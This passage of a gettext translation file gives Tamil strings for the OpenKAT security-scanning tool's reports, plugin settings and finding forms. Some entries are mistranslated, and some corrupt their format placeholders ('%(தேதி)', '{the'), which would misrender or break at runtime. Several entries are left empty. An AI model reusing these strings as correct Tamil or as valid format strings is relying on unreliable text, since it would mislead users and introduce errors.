reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"இதற்குத் திட்டமிடப்பட்டுள்ளது\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"அட்டவணை நிலை\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"ஒருமுறை\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"அண்மைக் கால அறிக்கைகள்\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"திட்டமிடப்பட்ட அறிக்கைகள்:\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"அறிக்கை விவரங்களைக் காட்டு\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"பொருள்கள்\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"அட்டவணையை இயக்கவும்\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"திட்டமிடப்பட்ட அறிக்கைகள் எதுவும் இதுவரை உருவாக்கப்படவில்லை.\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"அறிக்கைகள் வரலாற்றுக்குத் திரும்பு\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"அனைத்து அடிப்படை அறிக்கைகளின் கண்ணோட்டம்\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"அறிக்கை விவரங்களைக் காட்டுகிறது\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"உள்ளீட்டு பொருள்\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"அறிக்கை செய்முறையை நீக்கு\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"அறிக்கை செய்முறையை \\\"%(name)s\\\" ஐ நீக்க விரும்புகிறீர்களா?\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\"இந்த அறிக்கை செய்முறையை நீக்குவது என்பது நிரந்தரமாக நீக்கப்படும் என்பதாகும். அட்டவணையைப் \"\n\"பார்க்கவோ அல்லது இயக்கவோ இனி சாத்தியமில்லை. அறிக்கை வரலாற்று தாவலில் முன்னர் \"\n\"உருவாக்கப்பட்ட அறிக்கைகளை நீங்கள் காண்பீர்கள்.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\"இந்த அறிக்கையை உருவாக்க கீழே உள்ள அட்டவணையில் பட்டியலிடப்பட்டுள்ள பொருள்கள் \"\n\"பயன்படுத்தப்பட்டன. அட்டவணையில் உள்ள ஒவ்வொரு பொருளுக்கும் இது கூடுதலாக இசைவு அளவைக் \"\n\"காட்டுகிறது மற்றும் பொருள் ஒரு பயனரால் ('அறிவிக்கப்பட்ட') சேர்க்கப்பட்டதா இல்லையா அல்லது \"\n\"மற்றொரு பணி அல்லது அமைப்பு ('மரபுரிமை') மூலம் மறைமுகமாக அடையாளம் காணப்பட்டதா இல்லையா \"\n\"என்பதைக் காட்டுகிறது.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"பொருள்கள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\"அறிக்கை விளக்கம் உட்பட இந்த அறிக்கையை உருவாக்க எந்த அறிக்கைகள் தேர்ந்தெடுக்கப்பட்டன என்பதை \"\n\"கீழே உள்ள அட்டவணை காட்டுகிறது.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"அறிக்கை வகைகள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட அறிக்கைகளுக்கு தேவையான அல்லது விருப்ப செருகுநிரல்களை கீழே உள்ள \"\n\"அட்டவணை காட்டுகிறது.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"தேவையான மற்றும் விருப்ப செருகுநிரல்கள்\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"சொருகி இயக்கப்பட்டது\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"சொருகி விருப்பங்கள்\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"சொருகி ச்கேன் நிலை\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"இயக்கப்பட்டது.\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"தேவை\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"விரும்பினால்\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"சொருகி கூடுதல் செய்தி\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\"தேர்ந்தெடுக்கப்பட்ட அறிக்கை வகைகளுக்கு தேவையான அல்லது விருப்ப செருகுநிரல்கள் தேவையில்லை.\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"பொருள்களைத் தேர்ந்தெடுக்கவும்\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"அறிக்கை வகைகளைத் தேர்ந்தெடுக்கவும்\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"ஏற்றுமதி அமைப்பு\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"அறிக்கையைச் சேமிக்கவும்\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"செருகுநிரல்களை இயக்க தேவையான அனுமதிகள் உங்களிடம் இல்லை.\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"தொடர குறைந்தது ஒரு OOI ஐத் தேர்ந்தெடுக்கவும்.\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"தொடர குறைந்தது ஒரு அறிக்கை வகையைத் தேர்ந்தெடுக்கவும்.\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"%(date)sு தரவு எதுவும் கிடைக்கவில்லை. பொருள் (கள்) %(தேதி) களில் இல்லை.\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"அறிக்கையைக் காண்க\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"போதுமான அனுமதிகள் இல்லை\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"செய்முறை '{}' வெற்றிகரமாக நீக்கப்பட்டது\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"செய்முறை கிடைக்கவில்லை.\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"அட்டவணை அல்லது செய்முறை எதுவும் தேர்ந்தெடுக்கப்படவில்லை\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\"முடக்கப்பட்ட அட்டவணை வெற்றிகரமாக. அட்டவணை மீண்டும் இயக்கப்படும் வரை '{}' தானாக \"\n\"உருவாக்கப்படாது.\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"அட்டவணை வெற்றிகரமாக இயக்கப்பட்டது. '{}' அட்டவணையின்படி உருவாக்கப்படும்.\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"எதிர்பாராத பிழை ஏற்பட்டது, மேலும் தகவலுக்கு பதிவுகளை சரிபார்க்கவும்.\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"அறிக்கையை விட பிற OOI வகை தேர்ந்தெடுக்கப்பட்டது\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"நீக்குதல் வெற்றிகரமாக.\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\"பல அமைப்பு அறிக்கைகளை மாற்றியமைக்க முடியாது. இது வெவ்வேறு நிறுவனங்களிலிருந்து \"\n\"இறக்குமதி செய்யப்பட்ட தரவைக் கொண்டுள்ளது மற்றும் புதிதாக உருவாக்கப்பட்ட தரவை அடிப்படையாகக் \"\n\"கொண்டதல்ல.\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\"வெற்றிகரமாக மீண்டும் இணைக்கவும். புதிய அறிக்கை உருவாக்கப்படுவதற்கு ஒரு கணம் ஆகலாம்.\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\"இந்த அறிக்கைக்கான செய்முறை முடக்கப்பட்டுள்ளது அல்லது நீக்கப்பட்டது என்பதால் %s மீண்டும் இயக்க \"\n\"முடியவில்லை.\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"மறுபெயரிடுவது தோல்வியடைந்தது. வெற்று அறிக்கை பெயர் காணப்பட்டது.\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"அறிக்கை பெயர்கள் மற்றும் அறிக்கைகள் பொருந்தவில்லை.\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"அறிக்கைகள் வெற்றிகரமாக மறுபெயரிடப்பட்டன.\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"அறிக்கை {the மறுபெயரிட முடியவில்லை.\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"1: பொருள்களைத் தேர்ந்தெடுக்கவும்\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"2: அறிக்கை வகைகளைத் தேர்வுசெய்க\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"3: உள்ளமைவு\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"4: ஏற்றுமதி அமைப்பு\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"3: ஏற்றுமதி அமைப்பு\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"திகதி\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"தேர்ந்தெடுக்கப்பட்ட தேதி எதிர்காலத்தில் உள்ளது. வேறு தேதியைத் தேர்ந்தெடுக்கவும்.\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"எடுத்துக்காட்டாக: -ச்டு -டாப் -போர்ட்ச் 1000\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"சாதொபொகு SCHEMA\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"உள்ளீட்டு பொருள் வகை\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"வெளியீட்டு மைம் வகைகள்\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"வருடல் வகை\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"இடைவெளி தொகை\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\"இந்த போஃப்சேவுக்கான ச்கேனிங் இடைவெளியைக் குறிப்பிடவும். இயல்புநிலை 24 மணிநேரம். \"\n\"உதாரணமாக: ஒவ்வொரு 5 நிமிடங்களுக்கும் 5 நிமிடங்கள் போஃப்சே வருடு செய்ய அனுமதிக்கும்.\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"இடைவெளி அதிர்வெண்\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"பொருள் உருவாக்கம்/மாற்றம்\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\"ஒரு பொருளை உருவாக்கி மற்றும்/அல்லது மாற்றிய பின் சிறுவன் ஓட வேண்டுமா என்பதைத் \"\n\"தேர்வுசெய்க. \"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"கேட்-ஐடி\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"OpenKAT க்குள் தனித்துவமான ஐடி, இந்த வகைக்கு\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"தலைப்பு\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"கண்டுபிடிப்பு வகைக்கு பொருத்தமான தலைப்பைக் கொடுங்கள்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"கண்டுபிடிப்பு வகையை விவரிக்கவும்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"இடர்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"நீர்மக்கூழ்\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"இதை எவ்வாறு தீர்க்க முடியும்?\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"இந்த வகை கண்டுபிடிப்பை எவ்வாறு தீர்க்க முடியும் என்பதை விவரிக்கவும்\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"குறிப்புகள்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"தீர்வு குறித்து சில குறிப்புகளைக் கொடுங்கள்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"பரிந்துரைக்கப்பட்ட தீர்வு குறித்த ஆதாரங்களையும் குறிப்புகளையும் கொடுங்கள்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"தாக்க விளக்கம்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"தீர்வுகள் தாக்கத்தை விவரிக்கவும்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"தீர்வு வாய்ப்பு\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"தீர்வு தாக்கம்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"தீர்வு முயற்சி\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"ஐடி தொடங்க வேண்டும் \"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"வகை ஏற்கனவே உள்ளது\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"கிடைக்கக்கூடிய விருப்பங்களில் ஒன்றைத் தேர்ந்தெடுக்க சொடுக்கு செய்க\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"மெய்யுறுதி, நிரூபணம்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"உங்கள் கண்டுபிடிப்புக்கான ஆதாரங்களை வழங்கவும்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"உங்கள் கண்டுபிடிப்பை விவரிக்கவும்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"கண்டுபிடிப்பு இனப்பெருக்கம்\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"உங்கள் கண்டுபிடிப்பை எவ்வாறு இனப்பெருக்கம் செய்வது என்பதை விளக்குங்கள்\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"தேதி/நேரம் (UTC)\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\"ஆவணம்! நான் எதிர்காலத்திலிருந்து வந்தவன், உங்களைத் திரும்ப அழைத்துச் செல்ல நான் இங்கே \"\n\"இருக்கிறேன்!\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"OOI இல்லை\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"முடக்கப்படாத கண்டுபிடிப்புகளைக் காட்டு\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"முடக்கிய கண்டுபிடிப்புகளைக் காட்டு\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"முடக்கிய மற்றும் முடக்கப்படாத கண்டுபிடிப்புகளைக் காட்டு\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"தீவிரத்தினால் வடிகட்டவும்\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"முடக்கிய கண்டுபிடிப்புகளால் வடிகட்டவும்\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"தேடல்\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"பொருள் ஐடி உள்ளது (வழக்கு உணர்திறன்)\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"வடிகட்டி வகைகள்\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"இசைவு நிலை\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"அடுத்த ச்கேன்\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"போஃப்செச் ச்கேன் அளவை நிறைவு செய்யாத பொருள்களைக் காட்டு.\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"பொருள்களின் இசைவு அளவை மீறும் போஃப்ச்களைக் காட்டு.\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"(UTC) இல் காலாவதியாகிறது\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"சூதம்\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"விருப்பமாக {option_label} ஐத் தேர்வுசெய்க\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"தயவுசெய்து {option_label} ஐத் தேர்வுசெய்க\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"இசைவு நிலை மூலம் வடிகட்டவும்\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"இசைவு வகை மூலம் வடிகட்டவும்\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"இருந்து\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"பெறுநர்\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"ரத்து செய்யப்பட்டது\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"முடிந்தது\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"அனுப்பப்பட்டது\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"தோல்வியுற்றது\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"வரிசையில்\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"இயங்கும்\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"பொருள் பெயரால் தேடுங்கள்\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"--- அனைத்தையும் காட்டு ----\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"பரிந்துரை\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"குறைந்த\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"சராசரி\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"உயர்ந்த\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"மிக உயர்ந்த\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"விமர்சன\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"QuickFix\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"அறிவிக்கப்பட்டது\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"மரபு\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"காலி\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"ஒரு வரிக்கு ஒரு கண்டுபிடிப்பு வகை ஐடியைச் சேர்க்கவும்.\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"உங்கள் கண்டுபிடிப்பின் தேதி மற்றும் நேரத்தை சேர்க்கவும் (UTC)\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"மூல கோப்பு உருவாக்கப்பட்ட (UTC) தேதி மற்றும் நேரத்தைச் சேர்க்கவும்\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\"OpenKat ஒவ்வொரு அவதானிப்பிலும் ஒரு நேரக் குறிப்பை சேமிக்கிறது, எனவே உங்கள் பிணையத்தின் \"\n\"நிலையை காலத்தின் மூலம் பார்க்க முடியும். அந்த தருணத்தை பிரதிநிதித்துவப்படுத்த பார்வையை \"\n\"மாற்ற ஒரு தேதிநேரத்தைத் தேர்ந்தெடுக்கவும்.\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\"<p> கப்பல்துறை படத்தின் பெயர். எடுத்துக்காட்டாக: <i> 'ghcr.io/minvws/openkat/nmap' </\"\n\"i>. OpenKat இல், ஒரே கொள்கலன் படத்துடன் கூடிய அனைத்து போஃப்ச்களும் 'மாறுபாடுகளாகக் \"\n\"காணப்படும், மேலும் அவை போஃப்சே விவரம் பக்கத்தில் ஒன்றாகக் காண்பிக்கப்படும். </p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\"உங்கள் போஃப்சே உட்கொள்ளும் பொருள் வகை (களை) தேர்ந்தெடுக்கவும். பல பொருள்களைத் தேர்ந்தெடுக்க, \"\n\"'Ctrl'/'கட்டளை' விசையை அழுத்திப் பிடித்து, நீங்கள் தேர்ந்தெடுக்க விரும்பும் உருப்படிகளைக் \"\n\"சொடுக்கு செய்க. \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\"<p> உங்கள் போஃப்சேவுக்கு வேறு ஏதேனும் அமைப்புகள் தேவைப்பட்டால், இவற்றை ஒரு சாதொபொகு \"\n\"திட்டமாகச் சேர்க்கவும், இல்லையெனில், புலத்தைக் காலியாக அல்லது 'சுழியம்' விடுங்கள். </p> \"\n\"<p> இந்தச் சாதொபொகு க்கு ஒரு படிவத்திற்கான அடிப்படையாகப் பயன்படுத்தப்படுகிறது பயனர். \"\n\"பயனர் இந்த போஃப்சேவை இயக்கும்போது கூடுதல் தகவல்களை வழங்குவதற்கான விருப்பத்தை அவர்கள் \"\n\"பெறலாம். எடுத்துக்காட்டாக, ச்கிரிப்டுக்கு தேவைப்படும் ஒரு பநிஇ விசையை அதில் \"\n\"கொண்டிருக்கலாம்.</p><p>மேலும் தகவலுக்கு <a href='https://docs.openkat.nl/\"\n\"developer_documentation/development_tutorial/creating_a_boefje.html'> இங்கே </\"\n\"a> சீகிமாவைப் பற்றிக் காணலாம். </p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\"<p> இந்த போஃப்சே தயாரிக்கும் மைம் வகைகளின் தொகுப்பைச் சேர்க்கவும், இது காற்புள்ளிகளால் \"\n\"பிரிக்கப்பட்டுள்ளது. எடுத்துக்காட்டாக: <i> 'உரை/html' </i>, <i> 'படம்/jpeg' </i> \"\n\"அல்லது <i> 'boefje/{boefje-id}' </i> </p> <p> இந்த வெளியீட்டு MIME வகைகள் பிற \"\n\"பயனர்களுக்கான தகவல்களாக போஃப்சே விவரம் பக்கத்தில் காண்பிக்கப்படும். </p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\"<p> உங்கள் போஃப்சேவுக்கு இசைவு நிலையைத் தேர்ந்தெடுக்கவும். வெவ்வேறு இசைவு நிலைகளைப் \"\n\"பற்றிய கூடுதல் தகவலுக்கு, <a href='https://docs.openkat.nl/manual/usermanual.\"\n\"html#scan-levels-clearance-indemnities'> ஆவணங்களில் </a> காணலாம்.</p> \"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. 